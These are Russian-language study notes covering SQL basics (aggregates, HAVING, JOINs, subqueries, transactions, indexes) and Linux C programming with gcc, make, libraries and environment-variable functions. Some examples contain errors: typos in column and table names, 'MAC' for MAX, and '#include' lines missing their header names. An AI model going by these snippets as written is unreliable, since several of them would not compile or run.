!!! Агрегатные функции, функции используемые вместе с группировкой (например с GROUP BY)
!!! Можно использовать с: фильтрацией (WHERE), сортировкой (ORDER BY), ограничение кол-ва строк (LIMIT) и т.д.

SELECT align, COUNT(*) FROM superheroes GROUP BY align

!!! AVG - среднее значение
!!! COUNT - количество значений
!!! MAC - максимальное значение
!!! MIN- минимальное значение
!!! SUM - сумма

SELECT align, COUNT(*), SUM(appearances) FROM superheroes GROUP BY align - подсчитаем количество появления супергероев к комиксах (appearances - кол-во появлений, align - характер героя)

SELECT align, AVG(appearances), SUM(appearances)/COUNT(*) AS average FROM superheroes GROUP BY align

SELECT year, MIN(appearances), MAX(appearances) FROM superheroes GROUP BY year

SELECT year, MIN(appearances), MAX(appearances) FROM superheroes GROUP BY year ORDER BY year

!!! ниже не правильная сортировка ...
!!! SELECT year, MIN(appearances), MAX(appearances) FROM superheroes GROUP BY year ORDER BY min !!! не правильный запрос
!!! SELECT year, MIN(appearances), MAX(appearances) FROM superheroes GROUP BY year ORDER BY max !!! не правильный запрос

!!! вот так правильно будет 
SELECT year, MIN(appearances), MAX(appearances) FROM superheroes GROUP BY year ORDER BY MAX(appearances) DESC
SELECT year, MIN(appearances), MAX(appearances) AS max_ap FROM superheroes GROUP BY year ORDER BY max_ap DESC

SELECT year, MIN(appearances), MAX(appearances) FROM superheroes GROUP BY year ORDER BY MIN(appearances) DESC
SELECT year, MIN(appearances), MAX(appearances) FROM superheroes GROUP BY year ORDER BY MIN(appearances) 

SELECT year, MIN(appearances), MAX(appearances) AS max_ap FROM superheroes GROUP BY year ORDER BY max_ap DESC LIMIT 5

SELECT COUNT(*), MIN(appearances), MAX(appearances), SUM(appearances), AVG(appearances) FROM superheroes

Группировки и фильтрация в SQL: HAVING

!!! WHERE - фильтрация строк
!!! HAVING - фильтрация результатов группировке

!!! Порядок выполнения (SELECT)
!!! Выбор таблицы (FROM)
!!! Фильтрация строк из таблицы (WHERE)
!!! Группировка (GROUP BY)
!!! Фильтрация результатов группировки (HAVING)
!!! Сортировка по count (ORDER BY count DESC)
!!! Ограничение вывода (LIMIT)
!!! Диапазон вывода (BETWEEN 50 AND 300)

SELECT hair, COUNT(*) FROM superheroes WHERE gender='Female Characters' GROUP BY hair
SELECT hair, COUNT(*) FROM superheroes WHERE gender='Female Characters' GROUP BY hair ORDER BY count DESC

!!!  НЕ ПРАВИЛЬНАЯ КОНСТРУКЦИЯ
!!! SELECT hair, COUNT(*) FROM superheroes WHERE gender='Female Characters'  AND COUNT(*) > 10 GROUP BY hair
!!! ERROR: ОШИБКА:  агрегатные функции нельзя применять в конструкции WHERE

SELECT hair, COUNT(*) FROM superheroes WHERE gender='Female Characters' GROUP BY hair HAVING COUNT(*) > 10

SELECT hair, COUNT(*) FROM superheroes WHERE gender='Female Characters' GROUP BY hair HAVING COUNT(*) > 10 ORDER BY count DESC

SELECT hair, COUNT(*) FROM superheroes WHERE gender='Female Characters' GROUP BY hair HAVING COUNT(*) > 10 ORDER BY count DESC LIMIT 3

SELECT hair, COUNT(*) FROM superheroes WHERE gender='Female Characters' GROUP BY hair HAVING COUNT(*) BETWEEN 50 AND 300


Декомпозиция данных в базе | Основы SQL

Foreign key - внешний ключ

Суть "Декомпозиция данных в базе" - это, уменьшение повторяющихся данных в таблице, 
например у нас есть таблица супер героев и в ней столбец align (характеристика героев - bad, good, neutral, reformed criminals),
и мы заполняя эту таблицу вводим его характеристику и можем ошибаться в столбике введя Bad, bad, BADD и т.д.,
и мы для того что бы уменьшить кол-во ошибок/вводимых_данных можем создать еще одну таблицу align_id вида:
id align
1  Goog
2  Bad
3  Neutral
4  Reformed Criminal
Сделать ссылку таблицы на другую.
Это нам даст:
Уменьшение кол-ва дублированных данных.
Уменьшение ошибок при заполнение таблиц.

Типы связей:
Один к одному
Один ко многим
Многие ко многим

Запрос данных из нескольких таблиц: JOIN | Основы SQL

!!! внутренние объединения
!!! INNER JOIN используется по умолчанию

Пример использования JOIN:
SELECT products.name, product_types.type_name 
FROM products JOIN product_types 
ON producys.type_id = product_types.id;


Псевдонимы:
SELECT p.name, t,type_name
FROM products AS p JOIN product_types AS t
ON p.type_id = t.id;


Фильтрация запроса:
SELECT p.name AS product_name,
       p.type_name AS product_type,
       p.price AS product_price
FROM products AS p JOIN product_types AS t
ON p.type_id = t.id
WHERE t.type_name='Онлайн-курс';


Фильтрация запроса из нескольких таблиц:
SELECT p.name AS product_name,
       p.type_name AS product_type,
       p.price AS product_price
FROM products AS p JOIN product_types AS t
ON p.type_id = t.id
WHERE t.type_name='Онлайн-курс'
AND p.price = 0;


Сортировка:
SELECT p.name AS product_name,
       p.type_name AS product_type,
       p.price AS product_price
FROM products AS p JOIN product_types AS t
ON p.type_id = t.id
WHERE t.type_name='Онлайн-курс'
ORDER BY p.price DESC;


Типы объединений в SQL | Основы SQL

Типы:
INNER JOIN используется по умолчанию
LEFT OUTER JOIN
RIGHT OUTER JOIN
FULL OUTER JOIN
CROSS JOIN

Пример LEFT:
SELECT products.name, product_types.type_name 
FROM products LEFT OUTER JOIN product_types
ON products.type_id = product_types.id;

Пример RIGHT:
SELECT products.name, product_types.type_name 
FROM product_types RIGHT OUTER JOIN products
ON product_types.id = products.type_id;

Пример FULL:
SELECT products.name, product_types.type_name
FROM products FULL OUTER JOIN product_types
ON products.type_id = product_types.id;

Пример CROSS:
SELECT products.name, product_types.types_name
FROM products CROSS JOIN product_types;

Схема базы данных | Основы SQL:

https://drawsql.app/

Подзапросы | Основы SQL:

!!! Подзапросы заключаются в скобки ()

Пример:
SELECT id, name, price
FROM products
WHERE price = (SELECT MAX(price)
               FROM products);
Пример:
SELECT id, name, price
FROM products
WHERE id IN (SELECT product_id
             FROM sales);

Пример:
!!! вместо SELECT может быть UPDATE, DELETE, INSERT
UPDATE products
SET price = price + 500
WHERE types_id = (SELECT id
                  FROM product_types
                  WHERE type_name='Книга');


Транзакции | Основы SQL

!!! СУБД - система управления базами данных
!!! Транзакция - последовательность команд SQL, которые должны быть выполнены полностью или не выполнены вообще.
!!! Во всех современных СУБД автоматическая фиксация транзакций / Нет возможности отменить изменения

Пример запросов:
START TRANSACTION;

UPDATE accounts SET balance = balance - 15000
WHERE account_number = 123456;

UPDATE accounts SET balance = balance + 15000
WHERE account_number = 987656;

COMMIT; - принять транзакцию (в случае успеха действие по умолчанию.)
ROLLBACK;  - если что то пошло не так, изменения откатить 

Причины не выполнения запроса:
Отказ СУБД
      Аппаратная проблема
      Программная ошибка в СУБД или операционной системе
      Не хватает места на диске для записи данных
Отказ приложения пользователя
      Аппаратная проблема на клиенте
      Программная ошибка в приложении или операционной системе
      Пользователь прервал работу приложения
Потеря сетевого соединения клиента и сервера СУБД
      Аппаратная проблема с сетевым оборудованием клиента/сервера
      Проблемы с сеть.

Индексы | Основы SQL :

Индексы - это структура данных, позволяющая быстро определить положение интересующих данных в базе.
Создаются для столбца (совокупность столбцов) в таблице.
Обеспечивает возможность повысить производительность запросов.
Реализуется автоматически СУБД.
Изменение SQL запроса не требуется.
Ускоряет чтение из СУБД.
Может замедлить запись в СУБД.

Пример создания индексов вручную:
CREATE INDEX supeheroes_name_idx
ON superheros(name);

Пример запроса:
SELECT name, appearances, eye, hair
FROM superheroes
WHERE name = 'Iron Man(Anthony "Tony" Stark)'

Рубрики
Конспект

Конспект: программирование C/C++ / си / си ++

Ссылка:

https://www.opennet.ru/docs/RUS/zlp/


0. hello world

0. Создаем файл
vim hello.c
-----------
/* hello */
#include 

int main (void)
{
        printf ("hello world\n");
}
-----------

1. Компилируем файл
!!! Если исходный код написан без синтаксических ошибок, то компилятор завершит свою работу без каких-либо сообщений. Молчание - знак повиновения и согласия.
gcc -o hello hello.c

2. Проверяем
./hello

1. Мульти файловое программирование

0. Создадим первый файл с именем main.c:
vim  main.c
-----------
/* main.c */

int main (void)
{
	print_hello ();
}
-----------

1. Теперь создадим еще один файл hello.c со следующим содержимым:
vim hello.c
-----------
/* hello.c */
#include 

void print_hello (void)
{
	printf ("Hello World\n");
}
-----------

2. Теперь нужно получить два объектных файла. Компилируем.
gcc -c main.c
gcc -c hello.c
ls

3. Итак, мы получили два объектных файла. Теперь их надо объединить в один бинарник:
gcc -o hello main.o hello.o

4.Компилятор "увидел", что вместо исходных файлов (с расширением .c) ему подбросили объектные файлы (с расширением .o) и отреагировал согласно ситуации: вызвал линковщик с нужными опциями.
Давайте разберемся, что же все-таки произошло. 
В этом нам поможет утилита nm.

nm hello.o
----------       
	 U printf
00000000 T print_hello
----------

nm main.o
---------
00000000 T main
         U print_hello
---------

Таблицы символов объектных файлов содержат общее имя print_hello. 
В процессе линковки высчитываются и подставляются в нужные места адреса, соответствующие именам из таблицы. 
Вот и весь секрет.
Объектные файлы содержат таблицу символов. 
Утилита nm как раз позволяет посмотреть эту таблицу в читаемом виде. 
Те, кто пробовал программировать на ассемблере знают, что в исполняемом файле буквально все (функции, переменные) стоит на своей позиции: 
стоит только вставить или убрать из программы один байт, как программа тут же превратиться в груду мусора из-за смещенных позиций (адресов). 
У объектных файлов особая роль: они хранят в таблице символов имена некоторых позиций (глобально объявленных функций, например). 
В процессе линковки происходит стыковка имен и пересчет позиций, что позволяет нескольким объектным файлам объединиться в один бинарник.

1. automake make

0. Утилита make, которая работает со своими собственными сценариями. 
Сценарий записывается в файле с именем Makefile и помещается в репозиторий (рабочий каталог) проекта. 
Сценарии утилиты make просты и многофункциональны, а формат Makefile используется повсеместно (и не только на Unix-системах). 
Дошло до того, что стали создавать программы, генерирующие Makefile'ы. 
Самый яркий пример - набор утилит GNU Autotools. 
Самое главное преимущество make - это "интеллектуальный" способ рекомпиляции: в процессе отладки make компилирует только измененные файлы.
То, что выполняет утилита make, называется сборкой проекта, а сама утилита make относится к разряду сборщиков.
Любой Makefile состоит из трех элементов: комментарии, макроопределения и целевые связки (или просто связки). 
В свою очередь связки состоят тоже из трех элементов: цель, зависимости и правила.
Сценарии make используют однострочные комментарии, начинающиеся с литеры # (решетка). 
О том, что такое комментарии и зачем они нужны, объяснять не буду.
Макроопределения позволяют назначить имя практически любой строке, а затем подставлять это имя в любое место сценария, где должна использоваться данная строка. 
Макросы Makefile схожи с макроконстантами языка C.

Связки определяют: 
1) что нужно сделать (цель); 
2) что для этого нужно (зависимости); 
3) как это сделать (правила). 
В качестве цели выступает имя или макроконстанта. 
Зависимости - это список файлов и целей, разделенных пробелом. 
Правила - это команды передаваемые оболочке.

1. Создаем файл с именем Makefile:
vim Makefile
------------
# Makefile for Hello World project

hello: main.o hello.o
	gcc -o hello main.o hello.o

main.o: main.c
	gcc -c main.c

hello.o: hello.c
	gcc -c hello.c

clean:
	rm -f *.o hello
------------

Обратите внимание, что в каждой строке перед вызовом gcc, а также в строке перед вызовом rm стоят табуляции. 
Как вы уже догадались, эти строки являются правилами. 
Формат Makefile требует, чтобы каждое правило начиналось с табуляции. 
Теперь рассмотрим все по порядку.

Makefile может начинаться как с заглавной так и со строчной буквы.
Но рекомендуется все-таки начинать с заглавной, чтобы он не перемешивался с другими файлами проекта, а стоял "в списке первых".
Первая строка - комментарий. 
Здесь можно писать все, что угодно. 
Комментарий начинается с символа # (решетка) и заканчивается символом новой строки. 

Далее по порядку следуют четыре связки: 
1) связка для компоновки объектных файлов main.o и hello.o; 
2) связка для компиляции main.c; 
3) связка для компиляции hello.c;
4) связка для очистки проекта.

Первая связка имеет цель hello. 
Цель отделяется от списка зависимостей двоеточием. 
Список зависимостей отделяется от правил символом новой строки. 
А каждое правило начинается на новой строке с символа табуляции. 
В нашем случае каждая связка содержит по одному правилу. 
В списке зависимостей перечисляются через пробел вещи, необходимые для выполнения правила. 
В первом случае, чтобы скомпоновать бинарник, нужно иметь два объектных файла, поэтому они оказываются в списке зависимостей. 
Изначально объектные файлы отсутствуют, поэтому требуется создать целевые связки для их получения. 
Итак, чтобы получить main.o, нужно откомпилировать main.c. 
Таким образом файл main.c появляется в списке зависимостей (он там единственный). 
Аналогичная ситуация с hello.o. Файлы main.c и hello.c изначально существуют (мы их сами создали), поэтому никаких связок для их создания не требуется.
Особую роль играет целевая связка clean с пустым списком зависимостей. 
Эта связка очищает проект от всех автоматически созданных файлов. 
В нашем случае удаляются файлы main.o, hello.o и hello. 

Очистка проекта бывает нужна в нескольких случаях: 
1) для очистки готового проекта от всего лишнего; 
2) для пересборки проекта (когда в проект добавляются новые файлы или когда изменяется сам Makefile; 
3) в любых других случаях, когда требуется полная пересборка (напрмиер, для измерения времени полной сборки).


2. Формат запуска утилиты make следующий:
make [опции] [цели...]
Опции make нам пока не нужны. 
Если вызвать make без указания целей, то будет выполнена первая попавшаяся связка (со всеми зависимостями) и сборка завершится. 
Нам это и требуется:
$ make

В процессе сборки утилита make пишет все выполняемые правила. 
Проект собран, все работает.
Теперь давайте немного модернизируем наш проект. 

3. Добавим одну строку в файл hello.c:
vim hello.c
-----------
/* hello.c */
#include 

void print_hello (void)
{
	printf ("Hello World\n");
	printf ("Goodbye World\n");
}
-----------

4. Теперь повторим сборку и проверим:
$ make
$ ./hello

Утилита make "пронюхала", что был изменен только hello.c, то есть компилировать нужно только его. 
Файл main.o остался без изменений. 

5. Теперь давайте очистим проект, оставив одни исходники:
$ make clean


В данном случае мы указали цель непосредственно в командной строке. 
Так как целевая связка clean содержит пустой список зависимостей, то выполняется только одно правило. 
Не забывайте "чистить" проект каждый раз, когда изменяется список исходных файлов или когда изменяется сам Makefile.

3. Модель КИС:

Любая программа имеет свой репозиторий - рабочий каталог, в котором находятся исходники, сценарии сборки (Makefile) и прочие файлы, относящиеся к проекту. 
Репозиторий рассмотренного нами проекта мультифайлового Hello World изначально состоит из файлов main.c, hello.c и, собственно, Makefile. 
После сборки репозиторий дополняется файлами main.o, hello.o и hello. 
Практика показывает, что правильная организация исходного кода в репозитории не только упрощает модернизацию и отладку, но и предотвращает возможность появления многих ошибок.

Модель КИС (Клиент-Интерфейс-Сервер) - это элегантная концепция распределения исходного кода в репозитории, в рамках которой все исходники можно поделить на клиенты, интерфейсы и серверы.

Библиотека - это просто коллекция скомпонованных особым образом объектных файлов.
Заголовочный файл - это интерфейс.
Основная разница между библиотеками и заголовочными файлами в том, что библиотека - это объектный (почти исполняемый) код, а заголовочный файл - это исходный код.


Библиотека - это набор объектных файлов, которые подсоединяются к программе на стадии линковки. 
Так как стандартная библиотека языка C - это часть стандарта языка C, то она подключается автоматически во время линковки программы, 
но так как компилятор gcc сам вызывает линковщик с нужными параметрами, то мы этого просто не замечаем. 

С точки зрения модели КИС, библиотека - это сервер.

Библиотеки несут в себе одну важную мысль: возможность использовать одни и те же механизмы в разных программах. 
В Linux библиотеки используются повсеместно, поскольку это очень удобный способ "не изобретать велосипеды". 
Даже ядро Linux в каком-то смысле представляет собой библиотеку механизмов, называемых системными вызовами.
Статическая библиотека - это просто архив объектных файлов, который подключается к программе во время линковки. 
Эффект такой же, как если бы вы подключали каждый из файлов отдельно.
В отличие от статических библиотек, код совместно используемых (динамических) библиотек не включается в бинарник. 
Вместо этого в бинарник включается только ссылка на библиотеку.

В Linux статические библиотеки обычно имеют расширение .a (Archive), а совместно используемые библиотеки имеют расширение .so (Shared Object). 
Хранятся библиотеки, как правило, в каталогах /lib и /usr/lib. 
В случае иного расположения (относится только к совместно используемым библиотекам), приходится немного "подшаманить", чтобы программа запустилась.


4. Пример статической библиотеки:

0. Начнем с интерфейса. Создадим файл world.h:
!!! Здесь просто объявлены функции, которые будут использоваться
vim world.h
-----------
/* world.h */
void h_world (void);
void g_world (void);
-----------

1. Теперь надо реализовать серверы. Создадим файл h_world.c: 
vim h_world.c
-------------
/* h_world.c */
#include 
#include "world.h"

void h_world (void)
{
        printf ("Hello World\n");
}
-------------


2. Теперь создадим файл g_world.c, содержащий реализацию функции g_world():
!!! Можно было бы с таким же успехом уместить обе функции в одном файле (hello.c, например)
vim g_world.c
-------------
/* g_world.c */
#include 
#include "world.h"

void g_world (void)
{
        printf ("Goodbye World\n");
}
-------------


3. Теперь создадим файл main.c. Это клиент, который будет пользоваться услугами сервера:
vim main.c
----------
/* main.c */
#include "world.h"

int main (void)
{
        h_world ();
        g_world ();
}
----------

4. Теперь напишем сценарий для make. Для этого создаем Makefile:
!!! Не забывайте ставить табуляции перед каждым правилом в целевых связках. 
vim Makefile
------------
# Makefile for World project

binary: main.o libworld.a
        gcc -o binary main.o -L. -lworld

main.o: main.c
        gcc -c main.c

libworld.a: h_world.o g_world.o
        ar cr libworld.a h_world.o g_world.o

h_world.o: h_world.c
        gcc -c h_world.c

g_world.o: g_world.c
        gcc -c g_world.c

clean:
        rm -f *.o *.a binary
------------

5. Итого
Итак, в приведенном примере появились три новые вещи: опции -l и -L компилятора, а также команда ar.

Начнем с последней ar.
Как вы уже догадались, команда ar создает статическую библиотеку (архив).
В нашем случае два объектных файла объединяются в один файл libworld.a.
В Linux практически все библиотеки имеют префикс lib.

Как уже говорилось, компилятор gcc сам вызывает линковщик, когда это нужно. 
Опция -l, переданная компилятору, обрабатывается и посылается линковщику для того, чтобы тот подключил к бинарнику библиотеку. 
Как вы уже заметили, у имени библиотеки "обрублены" префикс и суффикс. 
Это делается для того, чтобы создать "видимое безразличие" между статическими и динамическими библиотеками. 
Сейчас важно знать лишь то, что и библиотека libfoo.so и библиотека libfoo.a подключаются к проекту опцией -lfoo. 
В нашем случае libworld.a "урезалось" до -lworld.

Опция -L указывает линковщику, где ему искать библиотеку. В случае, если библиотека располагается в каталоге /lib или /usr/lib, то вопрос отпадает сам собой и опция -L не требуется.
В нашем случае библиотека находится в репозитории (в текущем каталоге). 
По умолчанию линковщик не просматривает текущий каталог в поиске библиотеки, поэтому опция -L. (точка означает текущий каталог) необходима.



Пример совместно используемой библиотеки

!!! Для того, чтобы создать и использовать динамическую (совместно используемую) библиотеку, достаточно переделать в нашем проекте Makefile.
vim Makefile
------------
# Makefile for World project

binary: main.o libworld.so
	gcc -o binary main.o -L. -lworld -Wl,-rpath,.

main.o: main.c
	gcc -c main.c

libworld.so: h_world.o g_world.o
	gcc -shared -o libworld.so h_world.o g_world.o

h_world.o: h_world.c
	gcc -c -fPIC h_world.c

g_world.o: g_world.c
	gcc -c -fPIC g_world.c

clean:
	rm -f *.o *.so binary
------------

Внешне ничего не изменилось: программа компилируется, запускается и выполняет те же самые действия, что и в предыдущем случае. 
Изменилась внутренняя суть, которая играет для программиста первоочередную роль.

Правило для сборки binary теперь содержит пугающую опцию -Wl,-rpath,.
Как уже неоднократно говорилось, компилятор gcc сам вызывает линковщик ld, когда это надо и передает ему нужные параметры сборки, избавляя нас от ненужной платформенно-зависимой волокиты. 
Но иногда мы все-таки должны вмешаться в этот процесс и передать линковщику "свою" опцию. 
Для этого используется опция компилятора -Wl,option,optargs,... 
Расшифровываю: передать линковщику (-Wl) опцию option с аргументами optargs. 
В нашем случае мы передаем линковщику опцию -rpath с аргументом . (точка, текущий каталог). 
Возникает вопрос: что означает опция -rpath? 
Линковщик ищет библиотеки в определенных местах; обычно это каталоги /lib и /usr/lib, иногда /usr/local/lib. 
Опция -rpath просто добавляет к этому списку еще один каталог. 
В нашем случае это текущий каталог. 
Без указания опции -rpath, линковщик "молча" соберет программу, но при запуске нас будет ждать сюрприз: программа не запустится из-за отсутствия библиотеки. 
Попробуйте убрать опцию -Wl,-rpath,. из Makefile и пересоберите проект. 
При попытке запуска программа binary завершится с кодом возврата 127 (о кодах возврата будет рассказано в последующих главах). 
То же самое произойдет, если вызвать программу из другого каталога.

Есть один способ не передавать линковщику дополнительных опций при помощи -Wl - это использование переменной окружения LD_LIBRARY_PATH. 
У каждого пользователя есть так называемое окружение (environment) представляющее собой набор пар ПЕРЕМЕННАЯ=ЗНАЧЕНИЕ, используемых программами. 
Чтобы посмотреть окружение, достаточно набрать команду env. 
Чтобы добавить в окружение переменную, достаточно набрать export ПЕРЕМЕННАЯ=ЗНАЧЕНИЕ, а чтобы удалить переменную из окружения, надо набрать export -n ПЕРЕМЕННАЯ. 
Будьте внимательны: export - это внутреннаяя команда оболочки BASH; в других оболочках (csh, ksh, ...) используются другие команды для работы с окружением. 
Переменная окружения LD_LIBRARY_PATH содержит список дополнительных "мест", разделенных двоеточиеями, где линковщих должен искать библиотеку.

Не смотря на наличие двух механизмов передачи информации о нестандартном расположении библиотек, лучше помещать библиотеки в конечных проектах в /lib и в /usr/lib. 
Допускается расположение библиотек в подкаталоги /usr/lib и в /usr/local/lib (с указанем -Wl,-rpath). 
Но заставлять конечного пользователя устанавливать LD_LIBRARY_PATH почти всегда является плохим стилем программирования.

Следующая немаловажная деталь - это процесс создания самой библиотеки. 
Статические библиотеки создаются при помощи архиватора ar, а совместно используемые - при помощи gcc с опцией -shared. 
В данном случае gcc опять же вызывает линковщик, но не для сборки бинарника, а для создания динамической библиотеки.

Последнее отличие - опциии -fPIC (-fpic) при компиляции h_world.c и g_world.c. 
Эта опция сообщает компилятору, что объектные файлы, полученные в результате компиляции должны содержать позиционно-независимый код (PIC - Position Independent Code), который используется в динамических библиотеках. 
В таком коде используются не фиксированные позиции (адреса), а плавающие, благодаря чему код из библиотеки имеет возможность подключаться к программе в момент запуска.

Окружение:

Окружение (environment) или среда - это набор пар ПЕРЕМЕННАЯ=ЗНАЧЕНИЕ, доступный каждому пользовательскому процессу. 
Иными словами, окружение - это набор переменных окружения. 
Если вы используете оболочку, отличную от bash, то не все примеры этой главы могут быть воспроизведены.

Для того, чтобы посмотреть окружение, просто введите команду env без аргументов. В зависимости от конфигурации системы, 
вывод env может занять несколько экранов, поэтому лучше сделать так:
env > myenv.txt
env | more
env | less

Переменные окружения могут формироваться как из заглавных, так и из строчных символов, однако исторически сложилось именовать их в верхнем регистре. 

Приятно, например, когда программа "угадывает" имя пользователя или домашний каталог пользователя. 
Чаще всего такая информация "добывается" из переменных окружения USER и HOME соответственно.
Значение каждой переменной окружения изначально представляет собой строковую константу (строку). 
Интерпретация значений переменных полностью возлагается на программу. 
Иными словами, все переменные окружения имеют тип char*, а само окружение имеет тип char**. 
Чтобы вывести на экран значение какой-нибудь переменной окружения, достаточно набрать echo $ИМЯ_ПЕРЕМЕННОЙ

echo $USER
echo $HOME

Ниже приведены те переменные окружения, которые есть почти у всех пользователей Linux:
USER - имя текущего пользователя
HOME - путь к домашнему каталогу текущего пользователя
PATH - список каталогов, разделенных двоеточиями, в которых производится "поиск" программ
PWD - текущий каталог
OLDPWD - предыдущий текущий каталог
TERM - тип терминала
SHELL - текущая командная оболочка

Некоторые переменные окружения имеются не во всех системах, но все-таки требуют упоминания:
HOSTNAME - имя машины
QTDIR - расположение библиотеки QT
MAIL - почтовый ящик
LD_LIBRARY_PATH - место "поиска" дополнительных библиотек (см. предыдущую главу)
MANPATH - место поиска файлов man-страниц (каталоги, разделенные двоеточием)
LANG - язык и кодировка пользователя (иногда LANGUAGE)
DISPLAY - текущий дисплей в X11

Помимо переменных окружения, командные оболочки, такие как bash располагают собственным набором пар ПЕРЕМЕННАЯ=ЗНАЧЕНИЕ. 
Это переменные оболочки. Набор таких переменных называют окружением (или средой) оболочки. 
Эти переменные чем-то напоминают локальные (стековые) переменные в языке C. 
Они недоступны для других программ (в том числе и для env) и используются в основном в сценариях оболочки. 
Чтобы задать переменную оболочки, достаточно написать в командной строке ПЕРЕМЕННАЯ=ЗНАЧЕНИЕ.

$ MYVAR=Hello
$ echo $MYVAR
Hello
$ env | grep MYVAR


Однако, при желании, можно включить локальную переменную оболочки в основное окружение. 
Для этого используется команда export:
$ export MYVAR
$ env | grep MYVAR
MYVAR=Hello

Можно сделать сразу так:
$ export MYNEWVAR=Goodbye
$ echo $MYNEWVAR
Goodbye
$ env | grep MYNEWVAR
MYNEWVAR=Goodbye



Любая запущенная и работающая в Linux программа - это процесс. 
Запуская дважды одну и ту же программу, вы получаете два процесса. 
У каждого процесса (кроме init) есть свой процесс-родитель. 
Когда вы набираете в командной строке vim, в системе появляется новый процесс, соответствующий текстовому редактору vim; родительским процессом здесь будет оболочка (bash, например). 
Для самой оболочки новый процесс будет дочерним. 
Мы будем подробно изучать процессы в последующих главах книги. 
Сейчас же важно одно: новый процесс получает копию родительского окружения. 
Из этого правила существует несколько исключений, но мы пока об этом говорить не будем. 
Важно то, что у каждого процесса своя независимая копия окружения, с которой процесс может делать все что угодно. 
Если процесс завершается, то копия теряется; если процесс породил другой, дочерний процесс, то этот новый процесс получает копию окружения своего родителя. 
Мы еще неоднократно столкнемся с окружением при изучении многозадачности.

Массив environ

0. vim unistd.h
------------
extern char ** environ;
------------

В этом массиве хранится копия окружения процесса.

1. Велосипед (код программы)
vim environ.c
-------------
/* environ.c */
#include 
#include 
#include 
#include 

extern char ** environ;	/* Environment itself */

int main (int argc, char ** argv)
{
	int i;
	if (argc < 2)
	{
		fprintf (stderr, "environ: Too few arguments\n");
		fprintf (stderr, "Usage: environ \n");
		exit (1);
	}
	
	for (i = 0; environ[i] != NULL; i++)
	{
		if (!strncmp (environ[i], argv[1], strlen (argv[1])))
		{
			printf ("'%s' found\n", environ[i]);
			exit (0);
		}	
	}
	printf ("'%s' not found\n", argv[1]);
	exit (0);
}
-------------


2. Makefile для этой программы
vim Makefile
------------
# Makefile for environ

environ: environ.c
	gcc -o environ environ.c

clean:
	rm -f environ
------------



3. Проверяем
Проверяем:
make
./environ
./environ USER
./environ ABRAKADABRA

Чтение окружения: getenv()

0. Функция
vim  stdlib.h 
-------------
char * getenv (const char * name);
-------------
Функция эта работает очень просто: если в качестве аргумента указано имя существующей переменной окружения, то функция возвращает указатель на строку, 
содержащую значение этой переменной; если переменная отсутствует, возвращается NULL.

1.  Код программы
vim getenv.c 
------------
/* getenv.c */
#include 
#include 

int main (int argc, char ** argv)
{
        if (argc < 2)
        {
                fprintf (stderr, "getenv: Too few arguments\n");
                fprintf (stderr, "Usage: getenv \n");
                exit (1);
        }
        char * var = getenv (argv[1]);
        if (var == NULL)
        {
                printf ("'%s' not found\n", argv[1]);
                exit (0);
        }
        printf ("'%s=%s' found\n", argv[1], var);
        exit (0);
}
------------

2.  Создадим файл для сборки
vim Makefile
------------
# Makefile for getenv

environ: getenv.c
        gcc -o getenv getenv.c

clean:
        rm -f getenv
------------

Запись окружения: setenv()

каждый процесс получает не доступ к окружению, а копию окружения родительского процесса (в нашем случае это командная оболочка). 
Чтобы добавить в окружение новую переменную или изменить существующую, используется функция setenv, объявленная в файле stdlib.h. 
Ниже приведен адаптированный прототип этой функции.

0. Функция
vim stdlib.h
------------
int setenv (const char * name, const char * value, int overwrite);
------------

Если хотите узнать, что значит "адаптированный прототип", загляните в /usr/include/stdlib.h на объявления функций getenv() и setenv() и больше не спрашивайте ;-)

1. Код программы
vim setenv.c
------------
/* setenv.c */
#include 
#include 

#define FL_OVWR		0	/* Overwrite flag. You may change it. */

int main (int argc, char ** argv)
{	
	if (argc < 3)
	{
		fprintf (stderr, "setenv: Too few arguments\n");
		fprintf (stderr, 
			"Usage: setenv  \n");
		exit (1);
	}
	if (setenv (argv[1], argv[2], FL_OVWR) != 0)
	{
		fprintf (stderr, "setenv: Cannot set '%s'\n", argv[1]);
	       	exit (1);
	}

	printf ("%s=%s\n", argv[1], getenv (argv[1]));	
	exit (0);
}
------------

Изменяя константу FL_OVWR можно несколько изменить поведение программы по отношению к существующим переменным окружения. 
Еще раз напоминаю: у каждого процесса своя копия окружения, которая уничтожается при завершении процесса. 
Экспериментируйте!

2. Создадим файл для сборки
vim Makefile
------------
# Makefile for setenv

environ: setenv.c
        gcc -o setenv setenv.c

clean:
        rm -f setenv
------------

Сырая модификация окружения: putenv()

0. Функция
vim putenv.h
------------
int putenv (char * str);
------------

Функция putenv(), объявленная в заголовочном файле stdlib.h вызывается с единственным аргументом - строкой формата ПЕРЕМЕННАЯ=ЗНАЧЕНИЕ или просто ПЕРЕМЕННАЯ. 
Обычно такие преформатированные строки называют запросами. Если переменная отсутствует, то в окружение добавляется новая запись.
Если переменная уже существует, то текущее значение перезаписывается. Если в качестве аргумента фигурирует просто имя переменной, то переменная удаляется из окружения. 
В случае удачного завершения, putenv() возвращает нуль и -1 - в случае ошибки.
У функции putenv() есть одна особенность: указатель на строку, переданный в качестве аргумента, становится частью окружения. 
Если в дальнейшем строка будет изменена, будет изменено и окружение. Это очень важный момент, о котором не следует забывать.

1. Программа
vim putenv.c
------------
/* putenv.c */
#include 
#include 
#include 

#define QUERY_MAX_SIZE		32
char * query_str;

void print_evar (const char * var)
{
	char * tmp = getenv (var);
	if (tmp == NULL)
	{
		printf ("%s is not set\n", var);
		return;
	}
	printf ("%s=%s\n", var, tmp);
}

int main (void)
{
	int ret;
	query_str = (char *) calloc (QUERY_MAX_SIZE, sizeof(char));
	if (query_str == NULL) abort ();

	strncpy (query_str, "FOO=foo_value1", QUERY_MAX_SIZE-1);
	ret = putenv (query_str);
	if (ret != 0) abort ();
	print_evar ("FOO");

	strncpy (query_str, "FOO=foo_value2", QUERY_MAX_SIZE-1);
	print_evar ("FOO");

	strncpy (query_str, "FOO", QUERY_MAX_SIZE-1);
	ret = putenv (query_str);
	if (ret != 0) abort ();
	print_evar ("FOO");
	
	free (query_str);
	exit (0);
}
------------

Программа немного сложнее тех, что приводились ранее, поэтому разберем все по порядку. 
Сначала создаем для удобства функцию print_evar (PRINT Environment VARiable), которая будет отражать текущее состояние переменной окружения, переданной в качестве аргумента. 
В функции main() перво-наперво выделяем в куче (heap) память для буфера, в который будут помещаться запросы; заносим адрес буфера в query_str. 
Теперь формируем строку, и посылаем запрос в функцию putenv().
Дальше идет демонстрация того, на чем я акцентировал внимание: простое изменение содержимого памяти по адресу, хранящемуся в query_str приводит к изменению окружения; это видно из вывода функции print_evar(). 
